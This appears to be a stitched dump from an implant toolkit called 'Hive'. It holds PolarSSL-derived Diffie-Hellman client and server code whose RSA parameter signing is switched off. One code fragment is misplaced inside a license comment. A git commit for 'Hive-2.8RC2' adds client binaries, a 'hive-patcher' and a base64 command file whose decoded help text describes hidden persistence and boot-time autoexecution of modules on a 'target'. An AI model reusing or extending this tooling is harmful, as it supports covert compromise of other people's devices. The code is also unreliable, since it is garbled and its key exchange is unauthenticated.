////#define SERVER_PORT 11999
//#define PLAINTEXT "==Hello there!=="
//Will use ssl_write and ssl_read since connection already exists.
//#define SERVER_NAME "localhost"
//#define SERVER_PORT 11999
/////////////////////////////////////////////////////////////////////
// CLIENT PORTION
//
/*
* Diffie-Hellman-Merkle key exchange (client side)
*
* Copyright (C) 2006-2011, Brainspark B.V.
*
* This file is part of PolarSSL (http://www.polarssl.org)
}
}
else
{
DLX(4, printf("find_DH_SecretKey failed and returned a NULL kKey.\n") );
}
*
* Lead Maintainer: Paul Bakker <polarssl_maintainer at polarssl.org>
*
* All rights reserved.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
*/
#if !defined(POLARSSL_AES_C) || !defined(POLARSSL_DHM_C) || \
!defined(POLARSSL_ENTROPY_C) || !defined(POLARSSL_NET_C) || \
!defined(POLARSSL_RSA_C) || !defined(POLARSSL_SHA1_C) || \
!defined(POLARSSL_FS_IO) || !defined(POLARSSL_CTR_DRBG_C)
int dhClientExchange( ssl_context *ssl )
{
printf("POLARSSL_AES_C and/or POLARSSL_DHM_C and/or POLARSSL_ENTROPY_C "
"and/or POLARSSL_NET_C and/or POLARSSL_RSA_C and/or "
"POLARSSL_SHA1_C and/or POLARSSL_FS_IO and/or "
"POLARSSL_CTR_DRBG_C not defined.\n");
return( 0 );
}
#else
int dhClientExchange( ssl_context *ssl )
{
//FILE *f; removed reading of rsa public key file
int ret;
size_t n, buflen;
int server_fd = -1;
unsigned char *p, *end;
unsigned char buf[1024];
//unsigned char hash[20];
char *pers = "dh_client";
entropy_context entropy;
ctr_drbg_context ctr_drbg;
dhm_context dhm;
// aes_context aes;
memset( &dhm, 0, sizeof( dhm ) );
/*
* 1. Setup the RNG
*/
printf( "\n . Seeding the random number generator" );
fflush( stdout );
entropy_init( &entropy );
if( ( ret = ctr_drbg_init( &ctr_drbg, entropy_func, &entropy,
(unsigned char *) pers, strlen( pers ) ) ) != 0 )
{
printf( " failed\n ! ctr_drbg_init returned %d\n", ret );
goto exit;
}
/*
* NOT DONE
*
* 2. Read the server's public RSA key
*/
/*
* NOT DONE SINCE ssl_write and ssl_read are available
*
* 3. Initiate the connection
*/
/*
* 4a. First get the buffer length
*/
printf( "\n . Receiving the server's DH parameters" );
fflush( stdout );
memset( buf, 0, sizeof( buf ) );
/*
* WILL REPLACE THIS SECTION WITH ssl_read.
*
*/
//if( ( ret = net_recv( &server_fd, buf, 2 ) ) != 2 )
//{
// printf( " failed\n ! net_recv returned %d\n\n", ret );
// goto exit;
//}
// May need to use ssl->f_recv(ssl->p_recv, buf, 2)
while ( ( ret = ssl_read( ssl, buf, 2 ) ) <= 0 )
{
if( ret != 0 )
{
printf(" Client dh 4a failed.\n");
}
else
{
printf(" Client dh 4a suceeded.\n");
}
}
n = buflen = ( buf[0] << 8 ) | buf[1];
if( buflen < 1 || buflen > sizeof( buf ) )
{
printf( " failed\n ! Got an invalid buffer length\n\n" );
goto exit;
}
/*
* 4b. Get the DHM parameters: P, G and Ys = G^Xs mod P
*/
memset( buf, 0, sizeof( buf ) );
/*
* WILL REPLACE THIS SECTION WITH ssl_read.
*
*/
// if( ( ret = net_recv( &server_fd, buf, n ) ) != (int) n )
// {
// printf( " failed\n ! net_recv returned %d\n\n", ret );
// goto exit;
// }
// May need to use ssl->f_recv(ssl->p_recv, buf, n)
while ( ( ret = ssl_read( ssl, buf, n ) ) <= 0 )
{
if( ret != 0 )
{
printf(" Client dh 4b failed.\n");
}
else
{
printf(" Client dh 4b suceeded.\n");
}
}
p = buf, end = buf + buflen;
if( ( ret = dhm_read_params( &dhm, &p, end ) ) != 0 )
{
printf( " failed\n ! dhm_read_params returned %d\n\n", ret );
goto exit;
}
if( dhm.len < 64 || dhm.len > 256 )
{
ret = 1;
printf( " failed\n ! Invalid DHM modulus size\n\n" );
goto exit;
}
#if 0
/*
* 5. Check that the server's RSA signature matches
* the SHA-1 hash of (P,G,Ys)
*/
#endif
/*
* 6. Send our public value: Yc = G ^ Xc mod P
*/
printf( "\n . Sending own public value to server" );
fflush( stdout );
n = dhm.len;
if( ( ret = dhm_make_public( &dhm, 256, buf, n,
ctr_drbg_random, &ctr_drbg ) ) != 0 )
{
printf( " failed\n ! dhm_make_public returned %d\n\n", ret );
goto exit;
}
/*
* WILL REPLACE THIS SECTION WITH ssl_write.
*
*/
//if( ( ret = net_send( &server_fd, buf, n ) ) != (int) n )
//{
// printf( " failed\n ! net_send returned %d\n\n", ret );
// goto exit;
//}
// May need to use ssl->f_send(ssl->p_send, buf, n)
while ( ( ret = ssl_write( ssl, buf, n ) ) <= 0 )
{
if( ret != 0 )
{
printf(" Client dh 6 failed.\n");
}
else
{
printf(" Client dh 6 suceeded.\n");
}
}
/*
* 7. Derive the shared secret: K = Ys ^ Xc mod P
*/
printf( "\n . Shared secret: " );
fflush( stdout );
n = dhm.len;
if( ( ret = dhm_calc_secret( &dhm, buf, &n ) ) != 0 )
{
printf( " failed\n ! dhm_calc_secret returned %d\n\n", ret );
goto exit;
}
for( n = 0; n < 16; n++ )
printf( "%02x", buf[n] );
#if 0
/*
* 8. Setup the AES-256 decryption key
*
* This is an overly simplified example; best practice is
* to hash the shared secret with a random value to derive
* the keying material for the encryption/decryption keys,
* IVs and MACs.
*/
printf( "...\n . Receiving and decrypting the ciphertext" );
fflush( stdout );
aes_setkey_dec( &aes, buf, 256 );
memset( buf, 0, sizeof( buf ) );
if( ( ret = net_recv( &server_fd, buf, 16 ) ) != 16 )
{
printf( " failed\n ! net_recv returned %d\n\n", ret );
goto exit;
}
aes_crypt_ecb( &aes, AES_DECRYPT, buf, buf );
buf[16] = '\0';
printf( "\n . Plaintext is \"%s\"\n\n", (char *) buf );
#endif
exit:
net_close( server_fd );
dhm_free( &dhm );
#if defined(_WIN32)
printf( " + Press Enter to exit this program.\n" );
fflush( stdout ); getchar();
#endif
return( ret );
}
#endif /* POLARSSL_AES_C && POLARSSL_DHM_C && POLARSSL_ENTROPY_C &&
POLARSSL_NET_C && POLARSSL_RSA_C && POLARSSL_SHA1_C &&
POLARSSL_FS_IO && POLARSSL_CTR_DRBG_C */
//
// END OF CLIENT PORTION
/////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////
// SERVER PORTION
//
/*
* Diffie-Hellman-Merkle key exchange (server side)
*
* Copyright (C) 2006-2011, Brainspark B.V.
*
* This file is part of PolarSSL (http://www.polarssl.org)
* Lead Maintainer: Paul Bakker <polarssl_maintainer at polarssl.org>
*
* All rights reserved.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
*/
#if !defined(POLARSSL_AES_C) || !defined(POLARSSL_DHM_C) || \
!defined(POLARSSL_ENTROPY_C) || !defined(POLARSSL_NET_C) || \
!defined(POLARSSL_RSA_C) || !defined(POLARSSL_SHA1_C) || \
!defined(POLARSSL_FS_IO) || !defined(POLARSSL_CTR_DRBG_C)
int dhServerExchange( ssl_context *ssl )
{
printf("POLARSSL_AES_C and/or POLARSSL_DHM_C and/or POLARSSL_ENTROPY_C "
"and/or POLARSSL_NET_C and/or POLARSSL_RSA_C and/or "
"POLARSSL_SHA1_C and/or POLARSSL_FS_IO and/or "
"POLARSSL_CTR_DBRG_C not defined.\n");
return( 0 );
}
#else
int dhServerExchange( ssl_context *ssl )
{
FILE *f;
int ret, retA;
size_t n, buflen;
unsigned char buf[1024];
unsigned char hash[20];
unsigned char buf2[2];
char *pers = "dh_server";
entropy_context entropy;
ctr_drbg_context ctr_drbg;
rsa_context rsa;
dhm_context dhm;
//aes_context aes;
memset( &rsa, 0, sizeof( rsa ) );
memset( &dhm, 0, sizeof( dhm ) );
/*
* 1. Setup the RNG
*/
printf( "\n . Seeding the random number generator" );
fflush( stdout );
entropy_init( &entropy );
if( ( ret = ctr_drbg_init( &ctr_drbg, entropy_func, &entropy,
(unsigned char *) pers, strlen( pers ) ) ) != 0 )
{
printf( " failed\n ! ctr_drbg_init returned %d\n", ret );
goto exit;
}
/*
* 2a. Read the server's private RSA key
*/
printf( "\n ****** Removed reading private key from rsa_priv.txt" );
fflush( stdout );
#if 0
if( ( f = fopen( "rsa_priv.txt", "rb" ) ) == NULL )
{
ret = 1;
printf( " failed\n ! Could not open rsa_priv.txt\n" \
" ! Please run rsa_genkey first\n\n" );
goto exit;
}
rsa_init( &rsa, RSA_PKCS_V15, 0 );
if( ( ret = mpi_read_file( &rsa.N , 16, f ) ) != 0 ||
( ret = mpi_read_file( &rsa.E , 16, f ) ) != 0 ||
( ret = mpi_read_file( &rsa.D , 16, f ) ) != 0 ||
( ret = mpi_read_file( &rsa.P , 16, f ) ) != 0 ||
( ret = mpi_read_file( &rsa.Q , 16, f ) ) != 0 ||
( ret = mpi_read_file( &rsa.DP, 16, f ) ) != 0 ||
( ret = mpi_read_file( &rsa.DQ, 16, f ) ) != 0 ||
( ret = mpi_read_file( &rsa.QP, 16, f ) ) != 0 )
{
printf( " failed\n ! mpi_read_file returned %d\n\n", ret );
goto exit;
}
rsa.len = ( mpi_msb( &rsa.N ) + 7 ) >> 3;
fclose( f );
#endif
/*
* 2b. Get the DHM modulus and generator
*/
printf( "\n . Reading DH parameters from dh_prime.txt" );
fflush( stdout );
if( ( f = fopen( "dh_prime.txt", "rb" ) ) == NULL )
{
ret = 1;
printf( " failed\n ! Could not open dh_prime.txt\n" \
" ! Please run dh_genprime first\n\n" );
goto exit;
}
if( mpi_read_file( &dhm.P, 16, f ) != 0 ||
mpi_read_file( &dhm.G, 16, f ) != 0 )
{
printf( " failed\n ! Invalid DH parameter file\n\n" );
goto exit;
}
fclose( f );
//NOT DONE SINCE ssl_write and ssl_read are available
#if 0
/*
* 3. Wait for a client to connect
*/
printf( "\n . Waiting for a remote connection" );
fflush( stdout );
if( ( ret = net_bind( &listen_fd, NULL, SERVER_PORT ) ) != 0 )
{
printf( " failed\n ! net_bind returned %d\n\n", ret );
goto exit;
}
if( ( ret = net_accept( listen_fd, &client_fd, NULL ) ) != 0 )
{
printf( " failed\n ! net_accept returned %d\n\n", ret );
goto exit;
}
#endif
/*
* 4. Setup the DH parameters (P,G,Ys)
*/
printf( "\n . Sending the server's DH parameters" );
fflush( stdout );
memset( buf, 0, sizeof( buf ) );
if( ( ret = dhm_make_params( &dhm, 256, buf, &n,
ctr_drbg_random, &ctr_drbg ) ) != 0 )
{
printf( " failed\n ! dhm_make_params returned %d\n\n", ret );
goto exit;
}
/*
* 5. Sign the parameters and send them
*/
sha1( buf, n, hash );
buf[n ] = (unsigned char)( rsa.len >> 8 );
buf[n + 1] = (unsigned char)( rsa.len );
#if 0
if( ( ret = rsa_pkcs1_sign( &rsa, NULL, NULL, RSA_PRIVATE, SIG_RSA_SHA1,
0, hash, buf + n + 2 ) ) != 0 )
{
printf( " failed\n ! rsa_pkcs1_sign returned %d\n\n", ret );
goto exit;
}
buflen = n + 2 + rsa.len;
#endif
buflen = n + 2;
buf2[0] = (unsigned char)( buflen >> 8 );
buf2[1] = (unsigned char)( buflen );
//if( ( ret = net_send( &client_fd, buf2, 2 ) ) != 2 ||
// ( ret = net_send( &client_fd, buf, buflen ) ) != (int) buflen )
//{
// printf( " failed\n ! net_send returned %d\n\n", ret );
// goto exit;
//}
// May need to use ssl->f_send(ssl->p_send, buf2, 2)
if ( ( ( retA = ssl_write( ssl, buf2, 2 ) ) != 0) ||
( ret = ssl_write( ssl, buf, buflen) != 0) )
{
if (retA != 0)
{
printf(" Server dh 5a filed.\n");
}
else
{
if (ret != 0)
{
printf(" Server dh 5b failed.\n");
}
}
}
else
{
printf(" Server dh 5 a and b suceeded.\n");
}
/*
* 6. Get the client's public value: Yc = G ^ Xc mod P
*/
printf( "\n . Receiving the client's public value" );
fflush( stdout );
memset( buf, 0, sizeof( buf ) );
n = dhm.len;
//if( ( ret = net_recv( &client_fd, buf, n ) ) != (int) n )
//{
// printf( " failed\n ! net_recv returned %d\n\n", ret );
// goto exit;
//}
// May need to use ssl->f_recv(ssl->p_recv, buf, n)
if ( ( ret = ssl_read( ssl, buf, n ) ) != 0 )
{
if (ret != 0)
{
printf(" Server dh 6 failed.\n");
}
}
else
{
printf(" Server dh 6 suceeded.\n");
}
if( ( ret = dhm_read_public( &dhm, buf, dhm.len ) ) != 0 )
{
printf( " failed\n ! dhm_read_public returned %d\n\n", ret );
goto exit;
}
/*
* 7. Derive the shared secret: K = Ys ^ Xc mod P
*/
printf( "\n . Shared secret: " );
fflush( stdout );
if( ( ret = dhm_calc_secret( &dhm, buf, &n ) ) != 0 )
{
printf( " failed\n ! dhm_calc_secret returned %d\n\n", ret );
goto exit;
}
for( n = 0; n < 16; n++ )
printf( "%02x", buf[n] );
#if 0
/*
* 8. Setup the AES-256 encryption key
*
* This is an overly simplified example; best practice is
* to hash the shared secret with a random value to derive
* the keying material for the encryption/decryption keys
* and MACs.
*/
printf( "...\n . Encrypting and sending the ciphertext" );
fflush( stdout );
aes_setkey_enc( &aes, buf, 256 );
memcpy( buf, PLAINTEXT, 16 );
aes_crypt_ecb( &aes, AES_ENCRYPT, buf, buf );
if( ( ret = net_send( &client_fd, buf, 16 ) ) != 16 )
{
printf( " failed\n ! net_send returned %d\n\n", ret );
goto exit;
}
printf( "\n\n" );
#endif
exit:
rsa_free( &rsa );
dhm_free( &dhm );
#if defined(_WIN32)
printf( " + Press Enter to exit this program.\n" );
fflush( stdout ); getchar();
#endif
return( ret );
}
#endif /* POLARSSL_AES_C && POLARSSL_DHM_C && POLARSSL_ENTROPY_C &&
POLARSSL_NET_C && POLARSSL_RSA_C && POLARSSL_SHA1_C &&
POLARSSL_FS_IO && POLARSSL_CTR_DRBG_C */
//
// END OF SERVER PORTION
/////////////////////////////////////////////////////////////////////
tag 2.8-RC2
Tagger: Jack M <jackmc@devlan.net>
Date: Wed Dec 17 13:15:20 2014 -0500
Resolves premature termination of file transfers exceeding 40MB.
commit 16c5b4b5693a954f1f1b40a51966b8fce89162aa
Author: Jack M <jackmc@devlan.net>
Date: Wed Dec 17 13:01:07 2014 -0500
Commit snapshot for Hive-2.8RC2
diff --git a/snapshot_20141217-1052/clientDirectory/hclient-linux-x86 b/snapshot_20141217-1052/clientDirectory/hclient-linux-x86
new file mode 100755
index 0000000..958d5e4
Binary files /dev/null and b/snapshot_20141217-1052/clientDirectory/hclient-linux-x86 differ
diff --git a/snapshot_20141217-1052/clientDirectory/hclient-linux-x86-client b/snapshot_20141217-1052/clientDirectory/hclient-linux-x86-client
new file mode 100755
index 0000000..c37d60e
Binary files /dev/null and b/snapshot_20141217-1052/clientDirectory/hclient-linux-x86-client differ
diff --git a/snapshot_20141217-1052/clientDirectory/hclient-linux-x86-client-dbg b/snapshot_20141217-1052/clientDirectory/hclient-linux-x86-client-dbg
new file mode 100755
index 0000000..c9660b4
Binary files /dev/null and b/snapshot_20141217-1052/clientDirectory/hclient-linux-x86-client-dbg differ
diff --git a/snapshot_20141217-1052/clientDirectory/hclient-linux-x86-client-dbg.md5 b/snapshot_20141217-1052/clientDirectory/hclient-linux-x86-client-dbg.md5
new file mode 100644
index 0000000..d899e27
--- /dev/null
+++ b/snapshot_20141217-1052/clientDirectory/hclient-linux-x86-client-dbg.md5
@@ -0,0 +1 @@
+db0e1f7149ec97eb0ff5307866bd3f11 hclient-linux-x86-client-dbg
diff --git a/snapshot_20141217-1052/clientDirectory/hclient-linux-x86-client.md5 b/snapshot_20141217-1052/clientDirectory/hclient-linux-x86-client.md5
new file mode 100644
index 0000000..225a13b
--- /dev/null
+++ b/snapshot_20141217-1052/clientDirectory/hclient-linux-x86-client.md5
@@ -0,0 +1 @@
+7c19fef9ef6ba285c9dc18e56cbcd906 hclient-linux-x86-client
diff --git a/snapshot_20141217-1052/clientDirectory/hclient-linux-x86-dbg b/snapshot_20141217-1052/clientDirectory/hclient-linux-x86-dbg
new file mode 100755
index 0000000..c74dc30
Binary files /dev/null and b/snapshot_20141217-1052/clientDirectory/hclient-linux-x86-dbg differ
diff --git a/snapshot_20141217-1052/clientDirectory/hclient-linux-x86-dbg.md5 b/snapshot_20141217-1052/clientDirectory/hclient-linux-x86-dbg.md5
new file mode 100644
index 0000000..1a58963
--- /dev/null
+++ b/snapshot_20141217-1052/clientDirectory/hclient-linux-x86-dbg.md5
@@ -0,0 +1 @@
+e531364741f8b8de5cac7d9806497bcd hclient-linux-x86-dbg
diff --git a/snapshot_20141217-1052/clientDirectory/hclient-linux-x86.md5 b/snapshot_20141217-1052/clientDirectory/hclient-linux-x86.md5
new file mode 100644
index 0000000..16f0b6c
--- /dev/null
+++ b/snapshot_20141217-1052/clientDirectory/hclient-linux-x86.md5
@@ -0,0 +1 @@
+7b2874b4c32c7aff5b6afea70a3bad52 hclient-linux-x86
diff --git a/snapshot_20141217-1052/clientDirectory/hclient-linux-x86_64 b/snapshot_20141217-1052/clientDirectory/hclient-linux-x86_64
new file mode 100755
index 0000000..f65ee21
Binary files /dev/null and b/snapshot_20141217-1052/clientDirectory/hclient-linux-x86_64 differ
diff --git a/snapshot_20141217-1052/clientDirectory/hclient-linux-x86_64-dbg b/snapshot_20141217-1052/clientDirectory/hclient-linux-x86_64-dbg
new file mode 100755
index 0000000..53f54df
Binary files /dev/null and b/snapshot_20141217-1052/clientDirectory/hclient-linux-x86_64-dbg differ
diff --git a/snapshot_20141217-1052/clientDirectory/hclient-linux-x86_64-dbg.md5 b/snapshot_20141217-1052/clientDirectory/hclient-linux-x86_64-dbg.md5
new file mode 100644
index 0000000..9e633f3
--- /dev/null
+++ b/snapshot_20141217-1052/clientDirectory/hclient-linux-x86_64-dbg.md5
@@ -0,0 +1 @@
+575f5e8435cb02ae79a35ddeefe46db7 hclient-linux-x86_64-dbg
diff --git a/snapshot_20141217-1052/clientDirectory/hclient-linux-x86_64.md5 b/snapshot_20141217-1052/clientDirectory/hclient-linux-x86_64.md5
new file mode 100644
index 0000000..166fd38
--- /dev/null
+++ b/snapshot_20141217-1052/clientDirectory/hclient-linux-x86_64.md5
@@ -0,0 +1 @@
+37c44a11612783ef7655638a12d931b3 hclient-linux-x86_64
diff --git a/snapshot_20141217-1052/clientDirectory/hive-patcher b/snapshot_20141217-1052/clientDirectory/hive-patcher
new file mode 100755
index 0000000..3d3276e
Binary files /dev/null and b/snapshot_20141217-1052/clientDirectory/hive-patcher differ
diff --git a/snapshot_20141217-1052/clientDirectory/hive-patcher.md5 b/snapshot_20141217-1052/clientDirectory/hive-patcher.md5
new file mode 100644
index 0000000..42c2062
--- /dev/null
+++ b/snapshot_20141217-1052/clientDirectory/hive-patcher.md5
@@ -0,0 +1 @@
+14702e9d07a11f6565202f85d606c2ef hive-patcher
diff --git a/snapshot_20141217-1052/ctDirectory/CCS.xml b/snapshot_20141217-1052/ctDirectory/CCS.xml
new file mode 100755
index 0000000..eaf76fd
--- /dev/null
+++ b/snapshot_20141217-1052/ctDirectory/CCS.xml
@@ -0,0 +1,6367 @@
+PD94bWwgdmVyc2lvbj0iMS4wIj8+DQo8Y29tbW9uY29tbWFuZHNldCB2ZXJzaW9uPSIyLjIiPg0K
+ICA8Y21kZ3JwIHRpdGxlPSJtb2R1bGUiPg0KICAgIDxjbWRncnAgdGl0bGU9InBlcnNpc3QiPg0K
+ICAgICAgPGNtZCB0aXRsZT0iZW5hYmxlIj4NCiAgICAgICAgPGhlbHB0ZXh0Pk1vdmVzIHRoZSBt
+b2R1bGUgaW50byBwZXJzaXN0ZW50IG5vbi12b2xhdGlsZSBzdG9yYWdlIG9uIHRoZSB0YXJnZXQu
+ICBBZGQgaW52aXNpYmxlIGF0dHJpYnV0ZS48L2hlbHB0ZXh0Pg0KICAgICAgICA8cHJpbWl0aXZl
+cz4NCiAgICAgICAgICA8cmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgICAgIDxwcmltaXRp
+dmU+MHgwNzAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgIDwvcmVxdWlyZWRfcHJpbWl0aXZl
+cz4NCiAgICAgICAgICA8b3B0aW9uYWxfcHJpbWl0aXZlcy8+DQogICAgICAgIDwvcHJpbWl0aXZl
+cz4NCiAgICAgICAgPGF0dHJpYnV0ZXM+DQogICAgICAgICAgPHJlcXVpcmVkX2F0dHJpYnV0ZXM+
+DQogICAgICAgICAgICA8Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDxuY3Vyc2Vp
+ZD5tb2R1bGVfcGVyc2lzdF9lbmFibGVfYXR0cmliXzE8L25jdXJzZWlkPg0KICAgICAgICAgICAg
+ICA8bmN1cnNlbGFiZWw+TW9kdWxlIElEPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0
+dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT5zdHJpbmc8L3R5cGU+DQogICAgICAgICAg
+ICAgICAgPHNpemU+MzI8L3NpemU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDA3MDAw
+MDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4xPC9hcmdudW1iZXI+
+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9jb21tYW5kX2F0dHJp
+YnV0ZT4NCiAgICAgICAgICA8L3JlcXVpcmVkX2F0dHJpYnV0ZXM+DQogICAgICAgICAgPG9wdGlv
+bmFsX2F0dHJpYnV0ZXMvPg0KICAgICAgICAgIDxpbnZpc2libGVfYXR0cmlidXRlcz4NCiAgICAg
+ICAgICAgIDxjb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPm1vZHVs
+ZV9wZXJzaXN0X2VuYWJsZV9hdHRyaWJfMjwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxuY3Vy
+c2VsYWJlbD5Nb2R1bGUgUGF0aDwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1
+dGU+DQogICAgICAgICAgICAgICAgPHR5cGU+c3RyaW5nPC90eXBlPg0KICAgICAgICAgICAgICAg
+IDxzaXplPjMyPC9zaXplPg0KICAgICAgICAgICAgICAgIDxkZWZhdWx0dmFsdWUvPg0KICAgICAg
+ICAgICAgICAgIDxwcmltaXRpdmU+MHgwNzAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAg
+ICAgIDxhcmdudW1iZXI+MjwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4N
+CiAgICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgPC9pbnZpc2libGVf
+YXR0cmlidXRlcz4NCiAgICAgICAgPC9hdHRyaWJ1dGVzPg0KICAgICAgICA8cGFyYW1ldGVycz4N
+CiAgICAgICAgICA8cmVxdWlyZWRfcGFyYW1ldGVycy8+DQogICAgICAgICAgPG9wdGlvbmFsX3Bh
+cmFtZXRlcnMvPg0KICAgICAgICA8L3BhcmFtZXRlcnM+DQogICAgICAgIDxuY3Vyc2VzbGF5b3V0
+Pg0KICAgICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAg
+ICAgPHRpdGxlPk1vZHVsZSBQZXJzaXN0IEVuYWJsZTwvdGl0bGU+DQogICAgICAgICAgICAgIDxl
+bGVtZW50Pm1vZHVsZV9wZXJzaXN0X2VuYWJsZV9hdHRyaWJfMTwvZWxlbWVudD4NCiAgICAgICAg
+ICAgIDwvY29sdW1uPg0KICAgICAgICAgIDwvc2VjdGlvbj4NCiAgICAgICAgPC9uY3Vyc2VzbGF5
+b3V0Pg0KICAgICAgPC9jbWQ+DQogICAgPC9jbWRncnA+DQogICAgPGNtZGdycCB0aXRsZT0iYXV0
+b2V4ZWMiPg0KICAgICAgPGNtZCB0aXRsZT0iZW5hYmxlIj4NCiAgICAgICAgPGhlbHB0ZXh0PkVu
+YWJsZXMgYm9vdCBwZXJzaXN0ZW5jZSBmb3IgYSBtb2R1bGUgKGkuZS4sIGF1dG9tYXRpYyBleGVj
+dXRpb24gYXQgc3RhcnR1cCkuICBJdCBkb2VzIG5vdCBhZmZlY3QgdGhlIG5vbi12b2xhdGlsZSBz
+dG9yYWdlIG9mIHRoZSBtb2R1bGUsIG9ubHkgd2hldGhlciBvciBub3QgdGhlIG1vZHVsZSBpcyBh
+dXRvbWF0aWNhbGx5IGV4ZWN1dGVkIHdoZW4gdGhlIGRldmljZSByZWJvb3RzLjwvaGVscHRleHQ+
+DQogICAgICAgIDxwcmltaXRpdmVzPg0KICAgICAgICAgIDxyZXF1aXJlZF9wcmltaXRpdmVzPg0K
+ICAgICAgICAgICAgPHByaW1pdGl2ZT4weDA3MDAwMDBDPC9wcmltaXRpdmU+DQogICAgICAgICAg
+PC9yZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICAgIDxvcHRpb25hbF9wcmltaXRpdmVzLz4N
+CiAgICAgICAgPC9wcmltaXRpdmVzPg0KICAgICAgICA8YXR0cmlidXRlcz4NCiAgICAgICAgICA8
+cmVxdWlyZWRfYXR0cmlidXRlcz4NCiAgICAgICAgICAgIDxjb21tYW5kX2F0dHJpYnV0ZT4NCiAg
+ICAgICAgICAgICAgPG5jdXJzZWlkPm1vZHVsZV9zZXRfYXV0b2V4ZWNfYXR0cmliXzE8L25jdXJz
+ZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+TW9kdWxlIElEPC9uY3Vyc2VsYWJlbD4N
+CiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT5zdHJpbmc8
+L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MzI8L3NpemU+DQogICAgICAgICAgICAgICAg
+PGRlZmF1bHR2YWx1ZS8+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDA3MDAwMDBDPC9w
+cmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4xPC9hcmdudW1iZXI+DQogICAg
+ICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9jb21tYW5kX2F0dHJpYnV0ZT4N
+CiAgICAgICAgICA8L3JlcXVpcmVkX2F0dHJpYnV0ZXM+DQogICAgICAgICAgPG9wdGlvbmFsX2F0
+dHJpYnV0ZXMvPg0KICAgICAgICAgIDxpbnZpc2libGVfYXR0cmlidXRlcz4NCiAgICAgICAgICAg
+IDxjb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPm1vZHVsZV9zZXRf
+YXV0b2V4ZWNfYXR0cmliXzI8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+
+RmxhZzwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAg
+ICAgICAgPHR5cGU+dWludDMyPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjE8L3NpemU+
+DQogICAgICAgICAgICAgICAgPGRlZmF1bHR2YWx1ZT4xPC9kZWZhdWx0dmFsdWU+DQogICAgICAg
+ICAgICAgICAgPHByaW1pdGl2ZT4weDA3MDAwMDBDPC9wcmltaXRpdmU+DQogICAgICAgICAgICAg
+ICAgPGFyZ251bWJlcj4yPC9hcmdudW1iZXI+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0K
+ICAgICAgICAgICAgPC9jb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICA8L2ludmlzaWJsZV9h
+dHRyaWJ1dGVzPg0KICAgICAgICA8L2F0dHJpYnV0ZXM+DQogICAgICAgIDxwYXJhbWV0ZXJzPg0K
+ICAgICAgICAgIDxyZXF1aXJlZF9wYXJhbWV0ZXJzLz4NCiAgICAgICAgICA8b3B0aW9uYWxfcGFy
+YW1ldGVycy8+DQogICAgICAgIDwvcGFyYW1ldGVycz4NCiAgICAgICAgPG5jdXJzZXNsYXlvdXQ+
+DQogICAgICAgICAgPHNlY3Rpb24+DQogICAgICAgICAgICA8Y29sdW1uPg0KICAgICAgICAgICAg
+ICA8dGl0bGU+TW9kdWxlIEF1dG9leGVjIEVuYWJsZTwvdGl0bGU+DQogICAgICAgICAgICAgIDxl
+bGVtZW50Pm1vZHVsZV9zZXRfYXV0b2V4ZWNfYXR0cmliXzE8L2VsZW1lbnQ+DQogICAgICAgICAg
+ICA8L2NvbHVtbj4NCiAgICAgICAgICA8L3NlY3Rpb24+DQogICAgICAgIDwvbmN1cnNlc2xheW91
+dD4NCiAgICAgIDwvY21kPg0KICAgICAgPGNtZCB0aXRsZT0iZGlzYWJsZSI+DQogICAgICAgIDxo
